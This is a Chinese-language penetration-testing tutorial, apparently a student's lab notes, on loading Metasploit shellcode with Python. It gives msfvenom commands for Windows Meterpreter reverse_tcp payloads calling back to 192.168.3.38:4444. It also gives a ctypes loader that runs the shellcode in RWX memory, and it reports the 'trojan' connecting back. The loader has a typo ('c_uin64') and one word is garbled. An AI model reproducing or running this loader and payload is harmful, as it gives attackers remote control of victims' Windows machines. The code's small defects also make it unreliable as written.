内网渗透-ShellCode加载上线

在Kali上生成shellcode

进入到/home/kali/Muma目录中

然后使用下面的命令去生成一个shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.38 LPORT=4444 -f py -o shellcode.py 

然后去查看生成的payload，生成的内容如下

现在我们要用Python编写一段加载器的代码

前面先引入ctypes这个库，然后加上我们生成的shellcode，最后加上这一段代码即可

接下来我使用老师的电脑进行实验

然后让MSF进行监听

然后我们开始运行这个Python代码

木马成功上线

我们也可以去确认一下18104是不是对应这个Python的进程

同样的方式我们可以来一下64位的Shellcode

使用下面的命令

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.38 LPORT=4444 -f py -o shellcode_64.py

然后再使用64位的加载器

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uin64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0,len(buf),0x3000,0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(buf),len(buf))
handle = ctypes.windll.kernel32.CreateThread(0,0,ctypes.c_uint64(rwxpage),0,0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle,-1)

然后将监听的Payload改为64位的，不然监听不到，然后开始运行pyth木on和run，木马上线成功
